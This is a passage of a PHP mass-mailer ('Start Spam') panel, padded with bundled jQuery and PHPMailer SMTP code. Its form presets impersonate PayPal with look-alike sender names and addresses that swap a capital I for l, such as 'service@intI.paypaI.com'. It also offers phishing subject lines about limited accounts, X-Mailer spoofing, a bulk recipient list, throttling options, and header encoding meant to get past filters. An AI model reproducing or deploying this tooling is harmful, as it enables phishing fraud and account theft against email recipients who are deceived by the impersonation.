5920 if (fireGlobals) {
5921 globalEventContext.trigger("ajaxComplete", [jqXHR, s]);
5922 if (!(--jQuery.active)) {
5923 jQuery.event.trigger("ajaxStop")
5924 }
5925 }
5926 }
5927 return jqXHR
5928 },
5929 getJSON: function(url, data, callback) {
5930 return jQuery.get(url, data, callback, "json")
5931 },
5932 getScript: function(url, callback) {
5933 return jQuery.get(url, undefined, callback, "script")
5934 }
5935 });
5936 jQuery.each(["get", "post"], function(i, method) {
5937 jQuery[method] = function(url, data, callback, type) {
5938 if (jQuery.isFunction(data)) {
5939 type = type || callback;
5940 callback = data;
5941 data = undefined
5942 }
5943 return jQuery.ajax({
5944 url: url,
5945 type: method,
5946 dataType: type,
5947 data: data,
5948 success: callback
5949 })
5950 }
5951 });
5952 jQuery._evalUrl = function(url) {
5953 return jQuery.ajax({
5954 url: url,
5955 type: "GET",
5956 dataType: "script",
5957 async: false,
5958 global: false,
5959 "throws": true
5960 })
5961 };
5962 jQuery.fn.extend({
5963 wrapAll: function(html) {
5964 if (jQuery.isFunction(html)) {
5965 return this.each(function(i) {
5966 jQuery(this).wrapAll(html.call(this, i))
5967 })
5968 }
5969 if (this[0]) {
5970 var wrap = jQuery(html, this[0].ownerDocument).eq(0).clone(true);
5971 if (this[0].parentNode) {
5972 wrap.insertBefore(this[0])
5973 }
5974 wrap.map(function() {
5975 var elem = this;
5976 while (elem.firstChild && elem.firstChild.nodeType === 1) {
5977 elem = elem.firstChild
5978 }
5979 return elem
5980 }).append(this)
5981 }
5982 return this
5983 },
5984 wrapInner: function(html) {
5985 if (jQuery.isFunction(html)) {
5986 return this.each(function(i) {
5987 jQuery(this).wrapInner(html.call(this, i))
5988 })
5989 }
5990 return this.each(function() {
5991 var self = jQuery(this),
5992 contents = self.contents();
5993 if (contents.length) {
5994 contents.wrapAll(html)
5995 } else {
5996 self.append(html)
5997 }
5998 })
5999 },
6000 wrap: function(html) {
6001 var isFunction = jQuery.isFunction(html);
6002 return this.each(function(i) {
6003 jQuery(this).wrapAll(isFunction ? html.call(this, i) : html)
6004 })
6005 },
6006 unwrap: function() {
6007 return this.parent().each(function() {
6008 if (!jQuery.nodeName(this, "body")) {
6009 jQuery(this).replaceWith(this.childNodes)
6010 }
6011 }).end()
6012 }
6013 });
6014 jQuery.expr.filters.hidden = function(elem) {
6015 return elem.offsetWidth <= 0 && elem.offsetHeight <= 0 || (!support.reliableHiddenOffsets() && ((elem.style && elem.style.display) || jQuery.css(elem, "display")) === "none")
6016 };
6017 jQuery.expr.filters.visible = function(elem) {
6018 return !jQuery.expr.filters.hidden(elem)
6019 };
6020 var r20 = /%20/g,
6021 rbracket = /\[\]$/,
6022 rCRLF = /\r?\n/g,
6023 rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i,
6024 rsubmittable = /^(?:input|select|textarea|keygen)/i;
6025
6026 function buildParams(prefix, obj, traditional, add) {
6027 var name;
6028 if (jQuery.isArray(obj)) {
6029 jQuery.each(obj, function(i, v) {
6030 if (traditional || rbracket.test(prefix)) {
6031 add(prefix, v)
6032 } else {
6033 buildParams(prefix + "[" + (typeof v === "object" ? i : "") + "]", v, traditional, add)
6034 }
6035 })
6036 } else if (!traditional && jQuery.type(obj) === "object") {
6037 for (name in obj) {
6038 buildParams(prefix + "[" + name + "]", obj[name], traditional, add)
6039 }
6040 } else {
6041 add(prefix, obj)
6042 }
6043 }
6044 jQuery.param = function(a, traditional) {
6045 var prefix, s = [],
6046 add = function(key, value) {
6047 value = jQuery.isFunction(value) ? value() : (value == null ? "" : value);
6048 s[s.length] = encodeURIComponent(key) + "=" + encodeURIComponent(value)
6049 };
6050 if (traditional === undefined) {
6051 traditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional
6052 }
6053 if (jQuery.isArray(a) || (a.jquery && !jQuery.isPlainObject(a))) {
6054 jQuery.each(a, function() {
6055 add(this.name, this.value)
6056 })
6057 } else {
6058 for (prefix in a) {
6059 buildParams(prefix, a[prefix], traditional, add)
6060 }
6061 }
6062 return s.join("&").replace(r20, "+")
6063 };
6064 jQuery.fn.extend({
6065 serialize: function() {
6066 return jQuery.param(this.serializeArray())
6067 },
6068 serializeArray: function() {
6069 return this.map(function() {
6070 var elements = jQuery.prop(this, "elements");
6071 return elements ? jQuery.makeArray(elements) : this
6072 }).filter(function() {
6073 var type = this.type;
6074 return this.name && !jQuery(this).is(":disabled") && rsubmittable.test(this.nodeName) && !rsubmitterTypes.test(type) && (this.checked || !rcheckableType.test(type))
6075 }).map(function(i, elem) {
6076 var val = jQuery(this).val();
6077 return val == null ? null : jQuery.isArray(val) ? jQuery.map(val, function(val) {
6078 return {
6079 name: elem.name,
6080 value: val.replace(rCRLF, "\r\n")
6081 }
6082 }) : {
6083 name: elem.name,
6084 value: val.replace(rCRLF, "\r\n")
6085 }
6086 }).get()
6087 }
6088 });
6089 jQuery.ajaxSettings.xhr = window.ActiveXObject !== undefined ? function() {
6090 return !this.isLocal && /^(get|post|head|put|delete|options)$/i.test(this.type) && createStandardXHR() || createActiveXHR()
6091 } : createStandardXHR;
6092 var xhrId = 0,
6093 xhrCallbacks = {},
6094 xhrSupported = jQuery.ajaxSettings.xhr();
6095 if (window.attachEvent) {
6096 window.attachEvent("onunload", function() {
6097 for (var key in xhrCallbacks) {
6098 xhrCallbacks[key](undefined, true)
6099 }
6100 })
6101 }
6102 support.cors = !!xhrSupported && ("withCredentials" in xhrSupported);
6103 xhrSupported = support.ajax = !!xhrSupported;
6104 if (xhrSupported) {
6105 jQuery.ajaxTransport(function(options) {
6106 if (!options.crossDomain || support.cors) {
6107 var callback;
6108 return {
6109 send: function(headers, complete) {
6110 var i, xhr = options.xhr(),
6111 id = ++xhrId;
6112 xhr.open(options.type, options.url, options.async, options.username, options.password);
6113 if (options.xhrFields) {
6114 for (i in options.xhrFields) {
6115 xhr[i] = options.xhrFields[i]
6116 }
6117 }
6118 if (options.mimeType && xhr.overrideMimeType) {
6119 xhr.overrideMimeType(options.mimeType)
6120 }
6121 if (!options.crossDomain && !headers["X-Requested-With"]) {
6122 headers["X-Requested-With"] = "XMLHttpRequest"
6123 }
6124 for (i in headers) {
6125 if (headers[i] !== undefined) {
6126 xhr.setRequestHeader(i, headers[i] + "")
6127 }
6128 }
6129 xhr.send((options.hasContent && options.data) || null);
6130 callback = function(_, isAbort) {
6131 var status, statusText, responses;
6132 if (callback && (isAbort || xhr.readyState === 4)) {
6133 delete xhrCallbacks[id];
6134 callback = undefined;
6135 xhr.onreadystatechange = jQuery.noop;
6136 if (isAbort) {
6137 if (xhr.readyState !== 4) {
6138 xhr.abort()
6139 }
6140 } else {
6141 responses = {};
6142 status = xhr.status;
6143 if (typeof xhr.responseText === "string") {
6144 responses.text = xhr.responseText
6145 }
6146 try {
6147 statusText = xhr.statusText
6148 } catch (e) {
6149 statusText = ""
6150 }
6151 if (!status && options.isLocal && !options.crossDomain) {
6152 status = responses.text ? 200 : 404
6153 } else if (status === 1223) {
6154 status = 204
6155 }
6156 }
6157 }
6158 if (responses) {
6159 complete(status, statusText, responses, xhr.getAllResponseHeaders())
6160 }
6161 };
6162 if (!options.async) {
6163 callback()
6164 } else if (xhr.readyState === 4) {
6165 setTimeout(callback)
6166 } else {
6167 xhr.onreadystatechange = xhrCallbacks[id] = callback
6168 }
6169 },
6170 abort: function() {
6171 if (callback) {
6172 callback(undefined, true)
6173 }
6174 }
6175 }
6176 }
6177 })
6178 }
6179 function createStandardXHR() {
6180 try {
6181 return new window.XMLHttpRequest()
6182 } catch (e) {}
6183 }
6184
6185 function createActiveXHR() {
6186 try {
6187 return new window.ActiveXObject("Microsoft.XMLHTTP")
6188 } catch (e) {}
6189 }
6190 jQuery.ajaxSetup({
6191 accepts: {
6192 script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
6193 },
6194 contents: {
6195 script: /(?:java|ecma)script/
6196 },
6197 converters: {
6198 "text script": function(text) {
6199 jQuery.globalEval(text);
6200 return text
6201 }
6202 }
6203 });
6204 jQuery.ajaxPrefilter("script", function(s) {
6205 if (s.cache === undefined) {
6206 s.cache = false
6207 }
6208 if (s.crossDomain) {
6209 s.type = "GET";
6210 s.global = false
6211 }
6212 });
6213 jQuery.ajaxTransport("script", function(s) {
6214 if (s.crossDomain) {
6215 var script, head = document.head || jQuery("head")[0] || document.documentElement;
6216 return {
6217 send: function(_, callback) {
6218 script = document.createElement("script");
6219 script.async = true;
6220 if (s.scriptCharset) {
6221 script.charset = s.scriptCharset
6222 }
6223 script.src = s.url;
6224 script.onload = script.onreadystatechange = function(_, isAbort) {
6225 if (isAbort || !script.readyState || /loaded|complete/.test(script.readyState)) {
6226 script.onload = script.onreadystatechange = null;
6227 if (script.parentNode) {
6228 script.parentNode.removeChild(script)
6229 }
6230 script = null;
6231 if (!isAbort) {
6232 callback(200, "success")
6233 }
6234 }
6235 };
6236 head.insertBefore(script, head.firstChild)
6237 },
6238 abort: function() {
6239 if (script) {
6240 script.onload(undefined, true)
6241 }
6242 }
6243 }
6244 }
6245 });
6246 var oldCallbacks = [],
6247 rjsonp = /(=)\?(?=&|$)|\?\?/;
6248 jQuery.ajaxSetup({
6249 jsonp: "callback",
6250 jsonpCallback: function() {
6251 var callback = oldCallbacks.pop() || (jQuery.expando + "_" + (nonce++));
6252 this[callback] = true;
6253 return callback
6254 }
6255 });
6256 jQuery.ajaxPrefilter("json jsonp", function(s, originalSettings, jqXHR) {
6257 var callbackName, overwritten, responseContainer, jsonProp = s.jsonp !== false && (rjsonp.test(s.url) ? "url" : typeof s.data === "string" && !(s.contentType || "").indexOf("application/x-www-form-urlencoded") && rjsonp.test(s.data) && "data");
6258 if (jsonProp || s.dataTypes[0] === "jsonp") {
6259 callbackName = s.jsonpCallback = jQuery.isFunction(s.jsonpCallback) ? s.jsonpCallback() : s.jsonpCallback;
6260 if (jsonProp) {
6261 s[jsonProp] = s[jsonProp].replace(rjsonp, "$1" + callbackName)
6262 } else if (s.jsonp !== false) {
6263 s.url += (rquery.test(s.url) ? "&" : "?") + s.jsonp + "=" + callbackName
6264 }
6265 s.converters["script json"] = function() {
6266 if (!responseContainer) {
6267 jQuery.error(callbackName + " was not called")
6268 }
6269 return responseContainer[0]
6270 };
6271 s.dataTypes[0] = "json";
6272 overwritten = window[callbackName];
6273 window[callbackName] = function() {
6274 responseContainer = arguments
6275 };
6276 jqXHR.always(function() {
6277 window[callbackName] = overwritten;
6278 if (s[callbackName]) {
6279 s.jsonpCallback = originalSettings.jsonpCallback;
6280 oldCallbacks.push(callbackName)
6281 }
6282 if (responseContainer && jQuery.isFunction(overwritten)) {
6283 overwritten(responseContainer[0])
6284 }
6285 responseContainer = overwritten = undefined
6286 });
6287 return "script"
6288 }
6289 });
6290 jQuery.parseHTML = function(data, context, keepScripts) {
6291 if (!data || typeof data !== "string") {
6292 return null
6293 }
6294 if (typeof context === "boolean") {
6295 keepScripts = context;
6296 context = false
6297 }
6298 context = context || document;
6299 var parsed = rsingleTag.exec(data),
6300 scripts = !keepScripts && [];
6301 if (parsed) {
6302 return [context.createElement(parsed[1])]
6303 }
6304 parsed = jQuery.buildFragment([data], context, scripts);
6305 if (scripts && scripts.length) {
6306 jQuery(scripts).remove()
6307 }
6308 return jQuery.merge([], parsed.childNodes)
6309 };
6310 var _load = jQuery.fn.load;
6311 jQuery.fn.load = function(url, params, callback) {
6312 if (typeof url !== "string" && _load) {
6313 return _load.apply(this, arguments)
6314 }
6315 var selector, response, type, self = this,
6316 off = url.indexOf(" ");
6317 if (off >= 0) {
6318 selector = jQuery.trim(url.slice(off, url.length));
6319 url = url.slice(0, off)
6320 }
6321 if (jQuery.isFunction(params)) {
6322 callback = params;
6323 params = undefined
6324 } else if (params && typeof params === "object") {
6325 type = "POST"
6326 }
6327 if (self.length > 0) {
6328 jQuery.ajax({
6329 url: url,
6330 type: type,
6331 dataType: "html",
6332 data: params
6333 }).done(function(responseText) {
6334 response = arguments;
6335 self.html(selector ? jQuery("<div>").append(jQuery.parseHTML(responseText)).find(selector) : responseText)
6336 }).complete(callback && function(jqXHR, status) {
6337 self.each(callback, response || [jqXHR.responseText, status, jqXHR])
6338 })
6339 }
6340 return this
6341 };
6342 jQuery.each(["ajaxStart", "ajaxStop", "ajaxComplete", "ajaxError", "ajaxSuccess", "ajaxSend"], function(i, type) {
6343 jQuery.fn[type] = function(fn) {
6344 return this.on(type, fn)
6345 }
6346 });
6347 jQuery.expr.filters.animated = function(elem) {
6348 return jQuery.grep(jQuery.timers, function(fn) {
6349 return elem === fn.elem
6350 }).length
6351 };
6352 var docElem = window.document.documentElement;
6353
6354 function getWindow(elem) {
6355 return jQuery.isWindow(elem) ? elem : elem.nodeType === 9 ? elem.defaultView || elem.parentWindow : false
6356 }
6357 jQuery.offset = {
6358 setOffset: function(elem, options, i) {
6359 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, position = jQuery.css(elem, "position"),
6360 curElem = jQuery(elem),
6361 props = {};
6362 if (position === "static") {
6363 elem.style.position = "relative"
6364 }
6365 curOffset = curElem.offset();
6366 curCSSTop = jQuery.css(elem, "top");
6367 curCSSLeft = jQuery.css(elem, "left");
6368 calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray("auto", [curCSSTop, curCSSLeft]) > -1;
6369 if (calculatePosition) {
6370 curPosition = curElem.position();
6371 curTop = curPosition.top;
6372 curLeft = curPosition.left
6373 } else {
6374 curTop = parseFloat(curCSSTop) || 0;
6375 curLeft = parseFloat(curCSSLeft) || 0
6376 }
6377 if (jQuery.isFunction(options)) {
6378 options = options.call(elem, i, curOffset)
6379 }
6380 if (options.top != null) {
6381 props.top = (options.top - curOffset.top) + curTop
6382 }
6383 if (options.left != null) {
6384 props.left = (options.left - curOffset.left) + curLeft
6385 }
6386 if ("using" in options) {
6387 options.using.call(elem, props)
6388 } else {
6389 curElem.css(props)
6390 }
6391 }
6392 };
6393 jQuery.fn.extend({
6394 offset: function(options) {
6395 if (arguments.length) {
6396 return options === undefined ? this : this.each(function(i) {
6397 jQuery.offset.setOffset(this, options, i)
6398 })
6399 }
6400 var docElem, win, box = {
6401 top: 0,
6402 left: 0
6403 },
6404 elem = this[0],
6405 doc = elem && elem.ownerDocument;
6406 if (!doc) {
6407 return
6408 }
6409 docElem = doc.documentElement;
6410 if (!jQuery.contains(docElem, elem)) {
6411 return box
6412 }
6413 if (typeof elem.getBoundingClientRect !== strundefined) {
6414 box = elem.getBoundingClientRect()
6415 }
6416 win = getWindow(doc);
6417 return {
6418 top: box.top + (win.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0),
6419 left: box.left + (win.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0)
6420 }
6421 },
6422 position: function() {
6423 if (!this[0]) {
6424 return
6425 }
6426 var offsetParent, offset, parentOffset = {
6427 top: 0,
6428 left: 0
6429 },
6430 elem = this[0];
6431 if (jQuery.css(elem, "position") === "fixed") {
6432 offset = elem.getBoundingClientRect()
6433 } else {
6434 offsetParent = this.offsetParent();
6435 offset = this.offset();
6436 if (!jQuery.nodeName(offsetParent[0], "html")) {
6437 parentOffset = offsetParent.offset()
6438 }
6439 parentOffset.top += jQuery.css(offsetParent[0], "borderTopWidth", true);
6440 parentOffset.left += jQuery.css(offsetParent[0], "borderLeftWidth", true)
6441 }
6442 return {
6443 top: offset.top - parentOffset.top - jQuery.css(elem, "marginTop", true),
6444 left: offset.left - parentOffset.left - jQuery.css(elem, "marginLeft", true)
6445 }
6446 },
6447 offsetParent: function() {
6448 return this.map(function() {
6449 var offsetParent = this.offsetParent || docElem;
6450 while (offsetParent && (!jQuery.nodeName(offsetParent, "html") && jQuery.css(offsetParent, "position") === "static")) {
6451 offsetParent = offsetParent.offsetParent
6452 }
6453 return offsetParent || docElem
6454 })
6455 }
6456 });
6457 jQuery.each({
6458 scrollLeft: "pageXOffset",
6459 scrollTop: "pageYOffset"
6460 }, function(method, prop) {
6461 var top = /Y/.test(prop);
6462 jQuery.fn[method] = function(val) {
6463 return access(this, function(elem, method, val) {
6464 var win = getWindow(elem);
6465 if (val === undefined) {
6466 return win ? (prop in win) ? win[prop] : win.document.documentElement[method] : elem[method]
6467 }
6468 if (win) {
6469 win.scrollTo(!top ? val : jQuery(win).scrollLeft(), top ? val : jQuery(win).scrollTop())
6470 } else {
6471 elem[method] = val
6472 }
6473 }, method, val, arguments.length, null)
6474 }
6475 });
6476 jQuery.each(["top", "left"], function(i, prop) {
6477 jQuery.cssHooks[prop] = addGetHookIf(support.pixelPosition, function(elem, computed) {
6478 if (computed) {
6479 computed = curCSS(elem, prop);
6480 return rnumnonpx.test(computed) ? jQuery(elem).position()[prop] + "px" : computed
6481 }
6482 })
6483 });
6484 jQuery.each({
6485 Height: "height",
6486 Width: "width"
6487 }, function(name, type) {
6488 jQuery.each({
6489 padding: "inner" + name,
6490 content: type,
6491 "": "outer" + name
6492 }, function(defaultExtra, funcName) {
6493 jQuery.fn[funcName] = function(margin, value) {
6494 var chainable = arguments.length && (defaultExtra || typeof margin !== "boolean"),
6495 extra = defaultExtra || (margin === true || value === true ? "margin" : "border");
6496 return access(this, function(elem, type, value) {
6497 var doc;
6498 if (jQuery.isWindow(elem)) {
6499 return elem.document.documentElement["client" + name]
6500 }
6501 if (elem.nodeType === 9) {
6502 doc = elem.documentElement;
6503 return Math.max(elem.body["scroll" + name], doc["scroll" + name], elem.body["offset" + name], doc["offset" + name], doc["client" + name])
6504 }
6505 return value === undefined ? jQuery.css(elem, type, extra) : jQuery.style(elem, type, value, extra)
6506 }, type, chainable ? margin : undefined, chainable, null)
6507 }
6508 })
6509 });
6510 jQuery.fn.size = function() {
6511 return this.length
6512 };
6513 jQuery.fn.andSelf = jQuery.fn.addBack;
6514 if (typeof define === "function" && define.amd) {
6515 define("jquery", [], function() {
6516 return jQuery
6517 })
6518 }
6519 var _jQuery = window.jQuery,
6520 _$ = window.$;
6521 jQuery.noConflict = function(deep) {
6522 if (window.$ === jQuery) {
6523 window.$ = _$
6524 }
6525 if (deep && window.jQuery === jQuery) {
6526 window.jQuery = _jQuery
6527 }
6528 return jQuery
6529 };
6530 if (typeof noGlobal === strundefined) {
6531 window.jQuery = window.$ = jQuery
6532 }
6533 return jQuery
6534 }));
6535
6536 </script>
6537 </div>
6538 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6539 <div style="margin-bottom: 10px" class="input-group">
6540 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
6541 <select class="form-control" name="type">
6542 <option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
6543 <option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
6544 </select>
6545 </div>
6546 <div style="margin-bottom: 10px" class="input-group">
6547 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6548 <select class="form-control" onChange="Pilih4(this);">
6549 <option value="">No X-Mailer</option>
6550 <option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
6551 <option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
6552 <option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
6553 <option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
6554 </select>
6555 <input id="xmailer" type="text" class="form-control" name="xmailer" value="<?php echo $xmailer;?>" placeholder="X-Mailer">
6556 </div>
6557 </div>
6558 </div>
6559
6560 <div class="col-sm-8" style="padding-right: 7.5px !important;">
6561
6562 <div style="margin-bottom: 10px" class="input-group">
6563 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
6564 <select class="form-control" onChange="Pilih1(this);">
6565 <option value="">Select Sender Name</option>
6566 <option value="PayPaI">PayPaI</option>
6567 <option value="PaypaI Service">PaypaI Service</option>
6568 <option value="PaypaI Support">PaypaI Support</option>
6569 <option value="Account Service">Account Service</option>
6570 <option value="Account Support">Account Support</option>
6571 <option value="Service">Service</option>
6572 </select>
6573 <input id="sender-name" type="text" class="form-control" name="nama" value="<?php echo $nama;?>" placeholder="Sender Name">
6574 <span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
6575 <select class="form-control kanan" onChange="Pilih2(this);">
6576 <option value="">Select Sender Email</option>
6577 <option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
6578 <option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
6579 <option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
6580 <option value="no-reply">no-reply</option>
6581 <option value="admin">admin</option>
6582 <option value="service">service</option>
6583 <option value="same as target">same as target</option>
6584
6585 </select>
6586 <input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?php echo $email;?>" placeholder="Sender Email">
6587 </div>
6588
6589 <div style="margin-bottom: 10px" class="input-group">
6590 <span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
6591 <select class="form-control kanan" onChange="Pilih3(this);">ge
6592 <option value="">Select Email Subject</option>
6593 <option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
6594 <option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
6595 <option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
6596 <option value="Account Notification">Account Notification</option>
6597 <option value="Attention: Your account status change">Attention: Your account status change</option>
6598
6599 </select>
6600 <input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?php echo $subject;?>" placeholder="Subject">
6601 </div>
6602
6603 <div style="margin-bottom: 5px" class="input-group">
6604 <span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
6605 <input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
6606 <span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
6607 <select class="form-control" name="encode">
6608 <option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
6609 <option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
6610 <option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
6611 <option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
6612 <option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
6613 <option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
6614 </select>
6615 </div>
6616 <div style="margin-bottom: 10px" class="input-group">
6617 <span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
6618 <textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?php echo $pesan;?></textarea>
6619 </div>
6620 <div style="margin-bottom: 10px" class="input-group">
6621 <input type="submit" class="btn btn-success" name="action" value="Start Spam">
6622 <font color="white">Next send after </font>
6623 <input type="text" name="wait" value="<?php echo $wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6624 <font color="white">(second) | Reconnect After
6625 <input type="text" name="reconnect" value="<?php echo $reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
6626 <font color="white">(emails)</font>
6627 </div>
6628
6629 </div>
6630 <div class="col-sm-4" style="padding-left: 7.5px !important;">
6631
6632 <div style="margin-bottom: 10px" class="input-group">
6633 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
6634 <select class="form-control" name="encoding">
6635 <option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
6636 <option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
6637 </select>
6638 </div>
6639 <div style="margin-bottom: 10px" class="input-group">
6640 <span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
6641 <textarea class="form-control" rows="18" name="list" placeholder="Email List"><?php echo $emaillist;?></textarea>
6642 </div>
6643
6644 </div>
6645 <div class="form-group">
6646 </div>
6647
6648 </form>
6649
6650 </div>
6651 </div>
6652<?php
6653
6654if ($action){
6655
6656 if (!$from && !$subject && !$message && !$emaillist) {
6657 print "<script>alert('Please complete all fields before sending your message.'); </script>";
6658 die();
6659 }
6660
6661 if ($_POST['encoding']=='yes') {
6662 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
6663 $subject = str_replace(' ', '=20', $subject);
6664 $subject = "=?utf-8?Q?$subject?=";
6665 $nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
6666 $nama = str_replace(' ', '=20', $nama);
6667 $nama = "=?utf-8?Q?$nama?=";
6668 }
6669
6670 $allemails = split("\n", $emaillist);
6671 $numemails = count($allemails);
6672
6673
6674 function xflush()
6675 {
6676 static $output_handler = null;
6677 if ($output_handler === null) {
6678 $output_handler = @ini_get('output_handler');
6679 }
6680 if ($output_handler == 'ob_gzhandler') {
6681 return;
6682 }
6683 flush();
6684 if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
6685 @ob_flush();
6686 } else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
6687 @ob_end_flush();
6688 @ob_start();
6689 }
6690 }
6691?>
6692<?php
6693/**
6694 * PHPMailer RFC821 SMTP email transport class.
6695 * PHP Version 5
6696 * @package PHPMailer
6697 * @link https://github.com/PHPMailer/PHPMailer/ The PHPMailer GitHub project
6698 * @author Marcus Bointon (Synchro/coolbru) <phpmailer@synchromedia.co.uk>
6699 * @author Jim Jagielski (jimjag) <>
6700 * @author Andy Prevost (codeworxtech) <codeworxtech@users.sourceforge.net>
6701 * @author Brent R. Matzelle (original founder)
6702 * @copyright 2014 Marcus Bointon
6703 * @copyright 2010 - 2012 Jim Jagielski
6704 * @copyright 2004 - 2009 Andy Prevost
6705 * @license http://www.gnu.org/copyleft/lesser.html GNU Lesser General Public License
6706 * @note This program is distributed in the hope that it will be useful - WITHOUT
6707 * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
6708 * FITNESS FOR A PARTICULAR PURPOSE.
6709 */
6710
6711/**
6712 * PHPMailer RFC821 SMTP email transport class.
6713 * Implements RFC 821 SMTP commands and provides some utility methods for sending mail to an SMTP server.
6714 * @package PHPMailer
6715 * @author Chris Ryan
6716 * @author Marcus Bointon <phpmailer@synchromedia.co.uk>
6717 */
6718class SMTP
6719{
6720 /**
6721 * The PHPMailer SMTP version number.
6722 * @type string
6723 */
6724 const VERSION = '5.2.9';
6725
6726 /**
6727 * SMTP line break constant.
6728 * @type string
6729 */
6730 const CRLF = "\r\n";
6731
6732 /**
6733 * The SMTP port to use if one is not specified.
6734 * @type integer
6735 */
6736 const DEFAULT_SMTP_PORT = 25;
6737
6738 /**
6739 * The maximum line length allowed by RFC 2822 section 2.1.1
6740 * @type integer
6741 */
6742 const MAX_LINE_LENGTH = 998;
6743
6744 /**
6745 * Debug level for no output
6746 */
6747 const DEBUG_OFF = 0;
6748
6749 /**
6750 * Debug level to show client -> server messages
6751 */
6752 const DEBUG_CLIENT = 1;
6753
6754 /**
6755 * Debug level to show client -> server and server -> client messages
6756 */
6757 const DEBUG_SERVER = 2;
6758
6759 /**
6760 * Debug level to show connection status, client -> server and server -> client messages
6761 */
6762 const DEBUG_CONNECTION = 3;
6763
6764 /**
6765 * Debug level to show all messages
6766 */
6767 const DEBUG_LOWLEVEL = 4;
6768
6769 /**
6770 * The PHPMailer SMTP Version number.
6771 * @type string
6772 * @deprecated Use the `VERSION` constant instead
6773 * @see SMTP::VERSION
6774 */
6775 public $Version = '5.2.9';
6776
6777 /**
6778 * SMTP server port number.
6779 * @type integer
6780 * @deprecated This is only ever used as a default value, so use the `DEFAULT_SMTP_PORT` constant instead
6781 * @see SMTP::DEFAULT_SMTP_PORT
6782 */
6783 public $SMTP_PORT = 25;
6784
6785 /**
6786 * SMTP reply line ending.
6787 * @type string
6788 * @deprecated Use the `CRLF` constant instead
6789 * @see SMTP::CRLF
6790 */
6791 public $CRLF = "\r\n";
6792
6793 /**
6794 * Debug output level.
6795 * Options:
6796 * * self::DEBUG_OFF (`0`) No debug output, default
6797 * * self::DEBUG_CLIENT (`1`) Client commands
6798 * * self::DEBUG_SERVER (`2`) Client commands and server responses
6799 * * self::DEBUG_CONNECTION (`3`) As DEBUG_SERVER plus connection status
6800 * * self::DEBUG_LOWLEVEL (`4`) Low-level data output, all messages
6801 * @type integer
6802 */
6803 public $do_debug = self::DEBUG_OFF;
6804
6805 /**
6806 * How to handle debug output.
6807 * Options:
6808 * * `echo` Output plain-text as-is, appropriate for CLI
6809 * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
6810 * * `error_log` Output to error log as configured in php.ini
6811 *
6812 * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
6813 * <code>
6814 * $smtp->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
6815 * </code>
6816 * @type string|callable
6817 */
6818 public $Debugoutput = 'echo';
6819
6820 /**
6821 * Whether to use VERP.
6822 * @link http://en.wikipedia.org/wiki/Variable_envelope_return_path
6823 * @link http://www.postfix.org/VERP_README.html Info on VERP
6824 * @type boolean
6825 */
6826 public $do_verp = false;
6827
6828 /**
6829 * The timeout value for connection, in seconds.
6830 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
6831 * This needs to be quite high to function correctly with hosts using greetdelay as an anti-spam measure.
6832 * @link http://tools.ietf.org/html/rfc2821#section-4.5.3.2
6833 * @type integer
6834 */
6835 public $Timeout = 300;
6836
6837 /**
6838 * How long to wait for commands to complete, in seconds.
6839 * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
